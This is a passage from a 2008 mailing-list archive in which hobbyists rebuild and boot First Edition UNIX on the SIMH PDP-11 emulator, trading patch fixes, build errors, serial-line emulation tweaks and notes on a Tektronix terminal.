unified diff to me... can't find file to patch at input line 15 Perhaps you should have used the -p or --strip option? The text leading up to this was: -------------------------- |--- PDP11/pdp11_defs.h.~1~ 2006-07-06 11:33:30.000000000 -0400 |+++ PDP11/pdp11_defs.h 2008-05-01 11:12:57.000000000 -0400 -------------------------- File to patch: -- "Well, I'm back." --Sam John Cowan From jcapp at anteil.com Wed May 7 12:44:44 2008 From: jcapp at anteil.com (Jim Capp) Date: Tue, 06 May 2008 22:44:44 -0400 Subject: [Unix-jun72] Readme written: needs checking In-Reply-To: <20080507013359.GA78359@minnie.tuhs.org> References: <20080507013359.GA78359@minnie.tuhs.org> Message-ID: <4821179C.60100@anteil.com> Warren, I've been watching the activity with great interest and have been dying to try it out. I will give this a spin. Jim Warren Toomey wrote: > I've just written a Readme to describe how to build the kernel and filesystems, > and to run 1st Edition UNIX. Can a few people who haven't actually used the > system please have a go and give me feedback on the Readme. > > To fetch the repository: > > svn checkout http://unix-jun72.googlecode.com/svn/trunk/ unix72 > > Then go into the new unix72/ and read the Readme. > > Thanks, > Warren > _______________________________________________ > Unix-jun72 mailing list > Unix-jun72 at tuhs.org > https://minnie.tuhs.org/mailman/listinfo/unix-jun72 > > From jcapp at anteil.com Wed May 7 12:44:44 2008 From: jcapp at anteil.com (Jim Capp) Date: Tue, 06 May 2008 22:44:44 -0400 Subject: [Unix-jun72] Readme written: needs checking In-Reply-To: <20080507013359.GA78359@minnie.tuhs.org> References: <20080507013359.GA78359@minnie.tuhs.org> Message-ID: <4821179C.60100@anteil.com> Warren, I've been watching the activity with great interest and have been dying to try it out. I will give this a spin. Jim Warren Toomey wrote: > I've just written a Readme to describe how to build the kernel and filesystems, > and to run 1st Edition UNIX. Can a few people who haven't actually used the > system please have a go and give me feedback on the Readme. > > To fetch the repository: > > svn checkout http://unix-jun72.googlecode.com/svn/trunk/ unix72 > > Then go into the new unix72/ and read the Readme. > > Thanks, > Warren > _______________________________________________ > Unix-jun72 mailing list > Unix-jun72 at tuhs.org > https://minnie.tuhs.org/mailman/listinfo/unix-jun72 > > From newsham at lava.net Wed May 7 13:05:07 2008 From: newsham at lava.net (Tim Newsham) Date: Tue, 6 May 2008 17:05:07 -1000 (HST) Subject: [Unix-jun72] Readme written: needs checking In-Reply-To: <20080507023549.GV28125@mercury.ccil.org> References: <20080507013359.GA78359@minnie.tuhs.org> <20080507023549.GV28125@mercury.ccil.org> Message-ID: > The misc/KE.diff file does not work with patch. I get this: I updated the KE.diff. Let me know if you still have problems. > "Well, I'm back." --Sam John Cowan Tim Newsham http://www.thenewsh.com/~newsham/ From wkt at tuhs.org Wed May 7 13:19:03 2008 From: wkt at tuhs.org (Warren Toomey) Date: Wed, 7 May 2008 13:19:03 +1000 Subject: [Unix-jun72] Readme written: needs checking In-Reply-To: References: <20080507013359.GA78359@minnie.tuhs.org> <20080507023549.GV28125@mercury.ccil.org> Message-ID: <20080507031903.GA80612@minnie.tuhs.org> On Tue, May 06, 2008 at 05:05:07PM -1000, Tim Newsham wrote: > > The misc/KE.diff file does not work with patch. I get this: > > I updated the KE.diff. Let me know if you still have problems. Also, make sure that you unzip -a on Unix, to remove CR (^M) characters. Warren From wkt at tuhs.org Wed May 7 13:29:13 2008 From: wkt at tuhs.org (Warren Toomey) Date: Wed, 7 May 2008 13:29:13 +1000 Subject: [Unix-jun72] simh patch fails In-Reply-To: <20080507023549.GV28125@mercury.ccil.org> References: <20080507013359.GA78359@minnie.tuhs.org> <20080507023549.GV28125@mercury.ccil.org> Message-ID: <20080507032913.GA80814@minnie.tuhs.org> On Tue, May 06, 2008 at 10:35:49PM -0400, John Cowan wrote: > The misc/KE.diff file does not work with patch. I get this: Looks like Simh unpacks with lots of ^Ms. Tim has updated the patch. I've updated the Readme: 1. Download the source code for the Simh simulator from here: http://simh.trailing-edge.com/. Unpack it somewhere. 2. Copy misc/pdp11_ke.c into the Simh PDP11/ directory, and apply the misc/KE.diff patch to the source code: patch -l < misc/KE.diff 3. In Simh, make the BIN/ directory. Do make pdp11 to make the pdp11 simulator. Copy the BIN/pdp11 executable into the tools/ directory. Warren From jcapp at anteil.com Wed May 7 13:36:41 2008 From: jcapp at anteil.com (Jim Capp) Date: Tue, 06 May 2008 23:36:41 -0400 Subject: [Unix-jun72] Readme written: needs checking In-Reply-To: <20080507013359.GA78359@minnie.tuhs.org> References: <20080507013359.GA78359@minnie.tuhs.org> Message-ID: <482123C9.1070209@anteil.com> Warren, The hardest part was patching and compiling simh under Linux. I have edited the various files by hand and have attached a new KE.diff. Also, the build failed at tools/assemv2. I had to supply the files names by hand: root at linux:/var/files/unix72# tools/assemv2 rebuilding... patching... vec0407 initorig v2_as missing header for unified diff at line 3 of patch The text leading up to this was: -------------------------- |--- u0.s Wed May 7 01:20:13 2008 |+++ ../a/u0.s Wed May 7 01:19:38 2008 -------------------------- File to patch: When I supplied the file names, u0.s, u1.s, u5.s, and ux.s, it patched them just fine and I was able to finish the process without a hitch. Very cool! Jim Warren Toomey wrote: > I've just written a Readme to describe how to build the kernel and filesystems, > and to run 1st Edition UNIX. Can a few people who haven't actually used the > system please have a go and give me feedback on the Readme. > > To fetch the repository: > > svn checkout http://unix-jun72.googlecode.com/svn/trunk/ unix72 > > Then go into the new unix72/ and read the Readme. > > Thanks, > Warren > _______________________________________________ > Unix-jun72 mailing list > Unix-jun72 at tuhs.org > https://minnie.tuhs.org/mailman/listinfo/unix-jun72 > > -------------- next part -------------- A non-text attachment was scrubbed... Name: KE.diff Type: text/x-diff Size: 1401 bytes Desc: not available URL: From jcapp at anteil.com Wed May 7 13:36:41 2008 From: jcapp at anteil.com (Jim Capp) Date: Tue, 06 May 2008 23:36:41 -0400 Subject: [Unix-jun72] Readme written: needs checking In-Reply-To: <20080507013359.GA78359@minnie.tuhs.org> References: <20080507013359.GA78359@minnie.tuhs.org> Message-ID: <482123C9.1070209@anteil.com> Warren, The hardest part was patching and compiling simh under Linux. I have edited the various files by hand and have attached a new KE.diff. Also, the build failed at tools/assemv2. I had to supply the files names by hand: root at linux:/var/files/unix72# tools/assemv2 rebuilding... patching... vec0407 initorig v2_as missing header for unified diff at line 3 of patch The text leading up to this was: -------------------------- |--- u0.s Wed May 7 01:20:13 2008 |+++ ../a/u0.s Wed May 7 01:19:38 2008 -------------------------- File to patch: When I supplied the file names, u0.s, u1.s, u5.s, and ux.s, it patched them just fine and I was able to finish the process without a hitch. Very cool! Jim Warren Toomey wrote: > I've just written a Readme to describe how to build the kernel and filesystems, > and to run 1st Edition UNIX. Can a few people who haven't actually used the > system please have a go and give me feedback on the Readme. > > To fetch the repository: > > svn checkout http://unix-jun72.googlecode.com/svn/trunk/ unix72 > > Then go into the new unix72/ and read the Readme. > > Thanks, > Warren > _______________________________________________ > Unix-jun72 mailing list > Unix-jun72 at tuhs.org > https://minnie.tuhs.org/mailman/listinfo/unix-jun72 > > -------------- next part -------------- A non-text attachment was scrubbed... Name: KE.diff Type: text/x-diff Size: 1401 bytes Desc: not available URL: From wkt at tuhs.org Wed May 7 13:43:47 2008 From: wkt at tuhs.org (Warren Toomey) Date: Wed, 7 May 2008 13:43:47 +1000 Subject: [Unix-jun72] Readme written: needs checking In-Reply-To: <482123C9.1070209@anteil.com> References: <20080507013359.GA78359@minnie.tuhs.org> <482123C9.1070209@anteil.com> Message-ID: <20080507034347.GA81221@minnie.tuhs.org> On Tue, May 06, 2008 at 11:36:41PM -0400, Jim Capp wrote: > The hardest part was patching and compiling simh under Linux. I have > edited the various files by hand and have attached a new KE.diff. Jim, Tim & I have fixed a few things up. Could you clean out your Simh build, re-fetch the svn tree from scratch, and try again? The Readme is also updated. Thanks for testing it when it was (is?) on the bleeding edge though! Warren From jcapp at anteil.com Wed May 7 13:59:54 2008 From: jcapp at anteil.com (Jim Capp) Date: Tue, 06 May 2008 23:59:54 -0400 Subject: [Unix-jun72] Readme written: needs checking In-Reply-To: <20080507034347.GA81221@minnie.tuhs.org> References: <20080507013359.GA78359@minnie.tuhs.org> <482123C9.1070209@anteil.com> <20080507034347.GA81221@minnie.tuhs.org> Message-ID: <4821293A.8000909@anteil.com> Warren, I just did a new checkout of unix72 and it build like a charm!!! I will go back and test the simh build again with the new instructions. Cheers, Jim Warren Toomey wrote: > On Tue, May 06, 2008 at 11:36:41PM -0400, Jim Capp wrote: > >> The hardest part was patching and compiling simh under Linux. I have >> edited the various files by hand and have attached a new KE.diff. >> > > Jim, Tim & I have fixed a few things up. Could you clean out your Simh > build, re-fetch the svn tree from scratch, and try again? The Readme is > also updated. > > Thanks for testing it when it was (is?) on the bleeding edge though! > > Warren > _______________________________________________ > Unix-jun72 mailing list > Unix-jun72 at tuhs.org > https://minnie.tuhs.org/mailman/listinfo/unix-jun72 > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From jcapp at anteil.com Wed May 7 14:01:48 2008 From: jcapp at anteil.com (Jim Capp) Date: Wed, 07 May 2008 00:01:48 -0400 Subject: [Unix-jun72] Readme written: needs checking In-Reply-To: <20080507034347.GA81221@minnie.tuhs.org> References: <20080507013359.GA78359@minnie.tuhs.org> <482123C9.1070209@anteil.com> <20080507034347.GA81221@minnie.tuhs.org> Message-ID: <482129AC.4000903@anteil.com> Oh, and I see you've fixed the control-J problem. It starts right up to a :login: prompt. Warren Toomey wrote: > On Tue, May 06, 2008 at 11:36:41PM -0400, Jim Capp wrote: > >> The hardest part was patching and compiling simh under Linux. I have >> edited the various files by hand and have attached a new KE.diff. >> > > Jim, Tim & I have fixed a few things up. Could you clean out your Simh > build, re-fetch the svn tree from scratch, and try again? The Readme is > also updated. > > Thanks for testing it when it was (is?) on the bleeding edge though! > > Warren > _______________________________________________ > Unix-jun72 mailing list > Unix-jun72 at tuhs.org > https://minnie.tuhs.org/mailman/listinfo/unix-jun72 > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From cowan at ccil.org Wed May 7 15:11:25 2008 From: cowan at ccil.org (John Cowan) Date: Wed, 7 May 2008 01:11:25 -0400 Subject: [Unix-jun72] Readme written: needs checking In-Reply-To: References: <20080507013359.GA78359@minnie.tuhs.org> <20080507023549.GV28125@mercury.ccil.org> Message-ID: <20080507051125.GX28125@mercury.ccil.org> Tim Newsham scripsit: > > The misc/KE.diff file does not work with patch. I get this: > > I updated the KE.diff. Let me know if you still have problems. Okay. As of revision 200, everything works provided you unzip -a the simh zipfile and mkdir the BIN directory. -- John Cowan cowan at ccil.org http://ccil.org/~cowan If a traveler were informed that such a man [as Lord John Russell] was leader of the House of Commons, he may well begin to comprehend how the Egyptians worshiped an insect. --Benjamin Disraeli From jbeisser at gmail.com Wed May 7 15:22:46 2008 From: jbeisser at gmail.com (Johan Beisser) Date: Tue, 6 May 2008 22:22:46 -0700 Subject: [Unix-jun72] Readme written: needs checking In-Reply-To: <20080507013359.GA78359@minnie.tuhs.org> References: <20080507013359.GA78359@minnie.tuhs.org> Message-ID: Will do, when I've a spare few hours to mess around with it. That might be in a day or so. On Tue, May 6, 2008 at 6:33 PM, Warren Toomey wrote: > I've just written a Readme to describe how to build the kernel and filesystems, > and to run 1st Edition UNIX. Can a few people who haven't actually used the > system please have a go and give me feedback on the Readme. > > To fetch the repository: > > svn checkout http://unix-jun72.googlecode.com/svn/trunk/ unix72 > > Then go into the new unix72/ and read the Readme. > > Thanks, > Warren > _______________________________________________ > Unix-jun72 mailing list > Unix-jun72 at tuhs.org > https://minnie.tuhs.org/mailman/listinfo/unix-jun72 > -- Johan Beisser UNIX Contracting: infrastructure design, network security, disaster planning and recovery From wkt at tuhs.org Wed May 7 16:18:04 2008 From: wkt at tuhs.org (Warren Toomey) Date: Wed, 7 May 2008 16:18:04 +1000 Subject: [Unix-jun72] Readme written: needs checking In-Reply-To: <20080507051125.GX28125@mercury.ccil.org> References: <20080507013359.GA78359@minnie.tuhs.org> <20080507023549.GV28125@mercury.ccil.org> <20080507051125.GX28125@mercury.ccil.org> Message-ID: <20080507061804.GA90040@minnie.tuhs.org> On Wed, May 07, 2008 at 01:11:25AM -0400, John Cowan wrote: > Okay. As of revision 200, everything works provided you unzip -a the > simh zipfile and mkdir the BIN directory. Thanks John. Warren From newsham at lava.net Wed May 7 17:04:26 2008 From: newsham at lava.net (Tim Newsham) Date: Tue, 6 May 2008 21:04:26 -1000 (HST) Subject: [Unix-jun72] DC-11 quick hack Message-ID: Ok, I had some initial success with a quick and dirty hack. - apply the attached patch to your simh tree and rebuild pdp11 and copy it into your tools directory. - maps the TTIX device into the DC11 space - forces the CSR to return the carry-detect bit as always on - edit build/init.s and uncomment some or all of the ttys build it and place it on your drive: $ vi build/init.s $ tools/as build/init.s $ cp b.out build/root/etc/init $ tools/mkfs -p fs/Readme build/root rf0.dsk rf - copy your simh.cfg to simh2.cfg and add these lines before the "go" line: set ttix en set ttix lines=8 att ttix 5555 - run "./simh2.cfg" at this point you can telnet to port 5555 and enjoy a multi user unix system. This lacks a lot of polish and needs a bit of work yet, but its quick and dirty. You'll have to revert to the old init if you want to use the normal simh.cfg since the kernel will panic when opening the other ttys if the DC11 hardware isnt attached. Tim Newsham http://www.thenewsh.com/~newsham/ -------------- next part -------------- A non-text attachment was scrubbed... Name: simh-dc11.patch Type: application/x-patch Size: 1220 bytes Desc: URL: From P.A.Osborne at kent.ac.uk Wed May 7 18:40:43 2008 From: P.A.Osborne at kent.ac.uk (P.A.Osborne) Date: Wed, 7 May 2008 09:40:43 +0100 Subject: [Unix-jun72] Readme written: needs checking In-Reply-To: <20080507013359.GA78359@minnie.tuhs.org> References: <20080507013359.GA78359@minnie.tuhs.org> Message-ID: <20080507084043.GQ2793@myrtle.kent.ac.uk> On Wed, May 07, 2008 at 11:33:59AM +1000, Warren Toomey wrote: > Then go into the new unix72/ and read the Readme. On OS X 10.5.3 simh builds fine however: building apout fails (everything else in tools compiles) with: luthien:apout pao$ make gcc -Wall -g -DEMU211 -DEMUV1 -DNATIVES -DDEBUG -DZERO_MEMORY -DWRITEBASE -c -o aout.o aout.c In file included from aout.c:7: defines.h:87: error: conflicting types for 'int8_t' /usr/include/i386/types.h:78: error: previous declaration of 'int8_t' was here defines.h:89: error: conflicting types for 'int32_t' /usr/include/i386/types.h:88: error: previous declaration of 'int32_t' was here defines.h:92: error: conflicting types for 'u_int32_t' /usr/include/i386/types.h:90: error: previous declaration of 'u_int32_t' was here make: *** [aout.o] Error 1 Paul From wkt at tuhs.org Wed May 7 19:28:42 2008 From: wkt at tuhs.org (Warren Toomey) Date: Wed, 7 May 2008 19:28:42 +1000 Subject: [Unix-jun72] Readme written: needs checking In-Reply-To: <20080507084043.GQ2793@myrtle.kent.ac.uk> References: <20080507013359.GA78359@minnie.tuhs.org> <20080507084043.GQ2793@myrtle.kent.ac.uk> Message-ID: <20080507092842.GA94457@minnie.tuhs.org> On Wed, May 07, 2008 at 09:40:43AM +0100, P.A.Osborne wrote: > On OS X 10.5.3 > simh builds fine however: > building apout fails (everything else in tools compiles) with: Thanks Paul, I'll try to fix it tomorrow. Is there a compiler defined preprocessor symbol that I can add which covers OSX. For example: #if !defined(__FreeBSD__) && !defined(__NetBSD__) && \ !defined(__OpenBSD__) && !defined(__linux__) # define NEED_INT_N #endif Is there __OSX__ or similar? If there is, simply add && !defined(__OSX__) to that second line, which is around line 71 in tools/apout/defines.h. Thanks, Warren From wkt at tuhs.org Wed May 7 19:30:45 2008 From: wkt at tuhs.org (Warren Toomey) Date: Wed, 7 May 2008 19:30:45 +1000 Subject: [Unix-jun72] DC-11 quick hack In-Reply-To: References: Message-ID: <20080507093045.GB94457@minnie.tuhs.org> On Tue, May 06, 2008 at 09:04:26PM -1000, Tim Newsham wrote: > Ok, I had some initial success with a quick and dirty hack. > - apply the attached patch to your simh tree and rebuild pdp11 > and copy it into your tools directory. > - maps the TTIX device into the DC11 space > - forces the CSR to return the carry-detect bit as always on Tim, on the flip side, can we patch the kernel to: - use the TTIX device instead of DC11s - always see the carry-detect bit as always on If we make it a kernel patch, we can remove it if/when simh gets DC11 support. Cheers, Warren From wkt at tuhs.org Wed May 7 20:31:24 2008 From: wkt at tuhs.org (Warren Toomey) Date: Wed, 7 May 2008 20:31:24 +1000 Subject: [Unix-jun72] DC-11 quick hack In-Reply-To: References: Message-ID: <20080507103124.GA95546@minnie.tuhs.org> On Tue, May 06, 2008 at 09:04:26PM -1000, Tim Newsham wrote: > Ok, I had some initial success with a quick and dirty hack. > - apply the attached patch to your simh tree and rebuild pdp11 > and copy it into your tools directory. > - maps the TTIX device into the DC11 space > - forces the CSR to return the carry-detect bit as always on As a third alternative, it's obvious that Simh should have a run-time config to set the carry-detect bit as always on, e.g set ttix carrier=on In fact, from reading the Simh source it looks like we can already modify the DL11 address, something like: set ttix address ??? # I can't deduce the syntax So we could modify pdp11_dl.c to have a run-time variable uint16 ttix_carrier which is default 0, but settable to 004. If someone can point out the syntax to change the Simh ttix addresses from 17774000-17774177 to 17776500-17776677, I'd be very grateful! Warren From P.A.Osborne at kent.ac.uk Wed May 7 20:19:52 2008 From: P.A.Osborne at kent.ac.uk (P.A.Osborne) Date: Wed, 7 May 2008 11:19:52 +0100 Subject: [Unix-jun72] Why is V1 so slow? In-Reply-To: <20080505114418.GA87292@minnie.tuhs.org> References: <20080505045229.GA76763@minnie.tuhs.org> <20080505091011.GL7293@server.vk2pj.dyndns.org> <20080505113632.GA85746@minnie.tuhs.org> <20080505114418.GA87292@minnie.tuhs.org> Message-ID: <20080507101952.GU2793@myrtle.kent.ac.uk> On Mon, May 05, 2008 at 09:44:18PM +1000, Warren Toomey wrote: > On Mon, May 05, 2008 at 09:36:32PM +1000, Warren Toomey wrote: > > I think there are output delays in the kernel. > > There certainly were. I've svn committed a patch to remove these lines > from u4.s, and that really speeds things up! But but but surely that will be less authentic?! :-) Paul From wkt at tuhs.org Wed May 7 21:14:41 2008 From: wkt at tuhs.org (Warren Toomey) Date: Wed, 7 May 2008 21:14:41 +1000 Subject: [Unix-jun72] Why is V1 so slow? In-Reply-To: <20080507101952.GU2793@myrtle.kent.ac.uk> References: <20080505045229.GA76763@minnie.tuhs.org> <20080505091011.GL7293@server.vk2pj.dyndns.org> <20080505113632.GA85746@minnie.tuhs.org> <20080505114418.GA87292@minnie.tuhs.org> <20080507101952.GU2793@myrtle.kent.ac.uk> Message-ID: <20080507111441.GA96482@minnie.tuhs.org> On Wed, May 07, 2008 at 11:19:52AM +0100, P.A.Osborne wrote: > But but but surely that will be less authentic?! True, what was the top baud rate for an ASR33? 110, 300? Warren From P.A.Osborne at kent.ac.uk Wed May 7 20:19:30 2008 From: P.A.Osborne at kent.ac.uk (P.A.Osborne) Date: Wed, 7 May 2008 11:19:30 +0100 Subject: [Unix-jun72] Readme written: needs checking In-Reply-To: <20080507092842.GA94457@minnie.tuhs.org> References: <20080507013359.GA78359@minnie.tuhs.org> <20080507084043.GQ2793@myrtle.kent.ac.uk> <20080507092842.GA94457@minnie.tuhs.org> Message-ID: <20080507101930.GT2793@myrtle.kent.ac.uk> On Wed, May 07, 2008 at 07:28:42PM +1000, Warren Toomey wrote: > Is there __OSX__ or similar? If there is, simply add > > && !defined(__OSX__) > > to that second line, which is around line 71 in tools/apout/defines.h. Warren, __APPLE__ does part of the trick, then we get: cc -static -g aout.o branch.o bsd_ioctl.o bsd_signal.o bsdtrap.o cpu.o debug.o double.o ea.o fp.o itab.o ke11a.o magic.o main.o single.o v1trap.o v7trap.o -o apout -lm ld_classic: can't locate file for: -lcrt0.o collect2: ld returned 1 exit status make[1]: *** [apout] Error 1 At this point I am in the midst of Apple butchering tools to produce universal binaries (powerpc and x64), will continue to swear at this (or just give in and install FreeBSD under VMWare :-) ). Paul From brad at heeltoe.com Wed May 7 23:04:47 2008 From: brad at heeltoe.com (Brad Parker) Date: Wed, 07 May 2008 09:04:47 -0400 Subject: [Unix-jun72] DC-11 quick hack In-Reply-To: <20080507103124.GA95546@minnie.tuhs.org> References: <20080507103124.GA95546@minnie.tuhs.org> Message-ID: <10214.1210165487@mini> I just rebuilt everything from scratch and using the images created by imgbuild I can't get unix to boot. If I build the cold image use an old tape it works fine. Are the rf0.dsk images know to boot clean w/o cold? (I wonder if it's not just a permissions problem on /etc/init) -brad ps: you won't be able to change the TTIX (DL) address in simh without a patch; From rob at atvetsystems.com Thu May 8 00:11:42 2008 From: rob at atvetsystems.com (Robert Tillyard) Date: Wed, 7 May 2008 15:11:42 +0100 Subject: [Unix-jun72] Readme written: needs checking In-Reply-To: <20080507101930.GT2793@myrtle.kent.ac.uk> References: <20080507013359.GA78359@minnie.tuhs.org> <20080507084043.GQ2793@myrtle.kent.ac.uk> <20080507092842.GA94457@minnie.tuhs.org> <20080507101930.GT2793@myrtle.kent.ac.uk> Message-ID: On 7 May 2008, at 11:19, P.A.Osborne wrote: > On Wed, May 07, 2008 at 07:28:42PM +1000, Warren Toomey wrote: >> Is there __OSX__ or similar? If there is, simply add >> >> && !defined(__OSX__) >> >> to that second line, which is around line 71 in tools/apout/ >> defines.h. > > Warren, > > __APPLE__ does part of the trick, then we get: > > cc -static -g aout.o branch.o bsd_ioctl.o bsd_signal.o bsdtrap.o cpu.o > debug.o double.o ea.o fp.o itab.o ke11a.o magic.o main.o single.o > v1trap.o v7trap.o -o apout -lm > ld_classic: can't locate file for: -lcrt0.o > collect2: ld returned 1 exit status > make[1]: *** [apout] Error 1 > > > At this point I am in the midst of Apple butchering tools to produce > universal binaries (powerpc and x64), will continue to swear at this > (or just give in and install FreeBSD under VMWare :-) ). > > Paul Remove the -static Regards, Rob. From P.A.Osborne at kent.ac.uk Thu May 8 00:29:09 2008 From: P.A.Osborne at kent.ac.uk (P.A.Osborne) Date: Wed, 7 May 2008 15:29:09 +0100 Subject: [Unix-jun72] Readme written: needs checking In-Reply-To: References: <20080507013359.GA78359@minnie.tuhs.org> <20080507084043.GQ2793@myrtle.kent.ac.uk> <20080507092842.GA94457@minnie.tuhs.org> <20080507101930.GT2793@myrtle.kent.ac.uk> Message-ID: <20080507142909.GX2793@myrtle.kent.ac.uk> On Wed, May 07, 2008 at 03:11:42PM +0100, Robert Tillyard wrote: > Remove the -static Yes, that works. Will now continue as time allows. Thanks Paul From brantley at coraid.com Fri May 9 01:09:12 2008 From: brantley at coraid.com (Brantley Coile) Date: Thu, 8 May 2008 11:09:12 -0400 Subject: [Unix-jun72] Self supporting Message-ID: Wednesday I got V1 running on my Mac. Great fun! The level of sophistication impressed people here. Do you folks think we can move the sources for the kernel into it and have it be self supporting? From wkt at tuhs.org Fri May 9 02:24:50 2008 From: wkt at tuhs.org (Warren Toomey) Date: Fri, 9 May 2008 02:24:50 +1000 Subject: [Unix-jun72] Self supporting In-Reply-To: References: Message-ID: <20080508162450.GA64589@minnie.tuhs.org> On Thu, May 08, 2008 at 11:09:12AM -0400, Brantley Coile wrote: > Wednesday I got V1 running on my Mac. Great fun! > The level of sophistication impressed people here. > Do you folks think we can move the sources for > the kernel into it and have it be self supporting? It should be possible. We are now using the V2 assembler to build the kernel a.out, which means that you could put the kernel source onto the filesystem and do the assembly on V1 natively. We need to recreate enough of the boot chain to make self-support possible. James Markevitch I think was working on this; James, can you give us a status report? Cheers, Warren From jam at magic.com Fri May 9 03:09:19 2008 From: jam at magic.com (James A. Markevitch) Date: Thu, 8 May 2008 10:09:19 -0700 (PDT) Subject: [Unix-jun72] Self supporting Message-ID: <200805081709.KAA01552@mist.magic.com> > We need to recreate enough of the boot chain to make self-support possible. > James Markevitch I think was working on this; James, can you give us a > status report? It's up and running. It requires the KE11 fix that Brad made (so that switch registers work). I tested against that and can boot without pre-loading core with anything other than the 32W bootstrap. It pulls the bootstrap (bos) and operating system from the high portion of the RF11 image. I'll upload this this evening. James Markevitch From wkt at tuhs.org Fri May 9 23:18:15 2008 From: wkt at tuhs.org (Warren Toomey) Date: Fri, 9 May 2008 23:18:15 +1000 Subject: [Unix-jun72] DC-11 quick hack In-Reply-To: References: Message-ID: <20080509131815.GA8761@minnie.tuhs.org> On Tue, May 06, 2008 at 09:04:26PM -1000, Tim Newsham wrote: > Ok, I had some initial success with a quick and dirty hack. > - apply the attached patch to your simh tree and rebuild pdp11 > and copy it into your tools directory. > - maps the TTIX device into the DC11 space > - forces the CSR to return the carry-detect bit as always on I was going to write a proper DC-11 device for Simh, but Tim's patch to the DL11 was so small that I decided it would be easier to allow runtime configuration of the DL11 to behave like a DC11. I've just added misc/DL.diff to our subversion tree. If you apply this patch to Simh, then you can add these lines to your simh.cfg to make 8 DC-11 devices: set ttix en ; Enable DC/DL-11 device set ttix lines=8 ; We want 8 serial ports set ttix address=17774000 ; Set the address to be a DC-11 set ttix carrier=dc ; Turn on the DC-11 carrier detect bit set ttox 7b ; Set output to be 7-bit, lowercase att ttix 5555 ; Attach serial ports to telnet 5555 I hope we can get the change into the Simh tree. Cheers, Warren From newsham at lava.net Sat May 10 03:42:28 2008 From: newsham at lava.net (Tim Newsham) Date: Fri, 9 May 2008 07:42:28 -1000 (HST) Subject: [Unix-jun72] T4002A Message-ID: An early section of the jun72 document has some code for "modifications to UNIX to accomodate the T4002A graphic console." Is anyone familiar with this? If we could emulate this device easily, it might be fun to enter this patch as an optional patch to the system. Tim Newsham http://www.thenewsh.com/~newsham/ From milov at uwlax.edu Sat May 10 04:29:29 2008 From: milov at uwlax.edu (Milo Velimirovic) Date: Fri, 9 May 2008 13:29:29 -0500 Subject: [Unix-jun72] T4002A In-Reply-To: References: Message-ID: <2F53B3D5-9ADD-4708-A503-5897F9BCCB98@uwlax.edu> I worked with a successor device the Tektronix 4010. It's a storage scope that doubles as a terminal. It ought to be easy enough to emulate the alphanumeric part of this with a terminal but the graphical capabilities would be a challenge -- especially if portability was an issue. But if it wasn't challenging it wouldn't be interesting or any fun.... just my $.02 - Milo On May 9, 2008, at 12:42 PM, Tim Newsham wrote: > An early section of the jun72 document has some code for > "modifications to UNIX to accomodate the T4002A graphic console." > Is anyone familiar with this? If we could emulate this device > easily, it might be fun to enter this patch as an optional patch > to the system. > > Tim Newsham > http://www.thenewsh.com/~newsham/ > _______________________________________________ > Unix-jun72 mailing list > Unix-jun72 at tuhs.org > https://minnie.tuhs.org/mailman/listinfo/unix-jun72 -- Milo Velimirović, Unix Computer Network Administrator University of Wisconsin - La Crosse La Crosse, Wisconsin 54601 USA 43 48 48 N 91 13 53 W From madcrow.maxwell at gmail.com Sat May 10 05:17:37 2008 From: madcrow.maxwell at gmail.com (Michael Kerpan) Date: Fri, 9 May 2008 15:17:37 -0400 Subject: [Unix-jun72] T4002A In-Reply-To: <2F53B3D5-9ADD-4708-A503-5897F9BCCB98@uwlax.edu> References: <2F53B3D5-9ADD-4708-A503-5897F9BCCB98@uwlax.edu> Message-ID: <8dd2d95c0805091217l1418ec9fwd5d1f16285168b76@mail.gmail.com> xterm can emulate a 4014. I don't knwo how much the protocol changed over the years, but if it was mostnly similar then that code from xterm could serve as a good starting point. On Fri, May 9, 2008 at 2:29 PM, Milo Velimirovic wrote: > I worked with a successor device the Tektronix 4010. It's a storage > scope that doubles as a terminal. It ought to be easy enough to > emulate the alphanumeric part of this with a terminal but the > graphical capabilities would be a challenge -- especially if > portability was an issue. But if it wasn't challenging it wouldn't be > interesting or any fun.... > > just my $.02 > - Milo > > On May 9, 2008, at 12:42 PM, Tim Newsham wrote: > >> An early section of the jun72 document has some code for >> "modifications to UNIX to accomodate the T4002A graphic console." >> Is anyone familiar with this? If we could emulate this device >> easily, it might be fun to enter this patch as an optional patch >> to the system. >> >> Tim Newsham >> http://www.thenewsh.com/~newsham/ >> _______________________________________________ >> Unix-jun72 mailing list >> Unix-jun72 at tuhs.org >> https://minnie.tuhs.org/mailman/listinfo/unix-jun72 > > -- > Milo Velimirović, Unix Computer Network Administrator > University of Wisconsin - La Crosse > La Crosse, Wisconsin 54601 USA 43 48 48 N 91 13 53 W > > > > _______________________________________________ > Unix-jun72 mailing list > Unix-jun72 at tuhs.org > https://minnie.tuhs.org/mailman/listinfo/unix-jun72 > From imp at bsdimp.com Sat May 10 05:38:56 2008 From: imp at bsdimp.com (M. Warner Losh) Date: Fri, 09 May 2008 13:38:56 -0600 (MDT) Subject: [Unix-jun72] T4002A In-Reply-To: <2F53B3D5-9ADD-4708-A503-5897F9BCCB98@uwlax.edu> References: <2F53B3D5-9ADD-4708-A503-5897F9BCCB98@uwlax.edu> Message-ID: <20080509.133856.-563881688.imp@bsdimp.com> In message: <2F53B3D5-9ADD-4708-A503-5897F9BCCB98 at uwlax.edu> Milo Velimirovic writes: : I worked with a successor device the Tektronix 4010. It's a storage : scope that doubles as a terminal. It ought to be easy enough to : emulate the alphanumeric part of this with a terminal but the : graphical capabilities would be a challenge -- especially if : portability was an issue. But if it wasn't challenging it wouldn't be : interesting or any fun.... IIRC, the good news here is that the Tektronix terminal was just a serial attached device that did its drawing with escape sequences that are well documented/understood. Many early X terminal emulators has a tektronix mode, for example. That makes emulation a little easier. I hope that the 4002A is one of these beasts. I recall seeing it on an emulation list for a tektronix emulator I worked with in the early 1990's, but it has been long enough that the neurons may have decayed... Warner From imp at bsdimp.com Sat May 10 05:40:35 2008 From: imp at bsdimp.com (M. Warner Losh) Date: Fri, 09 May 2008 13:40:35 -0600 (MDT) Subject: [Unix-jun72] T4002A In-Reply-To: <20080509.133856.-563881688.imp@bsdimp.com> References: <2F53B3D5-9ADD-4708-A503-5897F9BCCB98@uwlax.edu> <20080509.133856.-563881688.imp@bsdimp.com> Message-ID: <20080509.134035.-2085250841.imp@bsdimp.com> In message: <20080509.133856.-563881688.imp at bsdimp.com> M. Warner Losh writes: : In message: <2F53B3D5-9ADD-4708-A503-5897F9BCCB98 at uwlax.edu> : Milo Velimirovic writes: : : I worked with a successor device the Tektronix 4010. It's a storage : : scope that doubles as a terminal. It ought to be easy enough to : : emulate 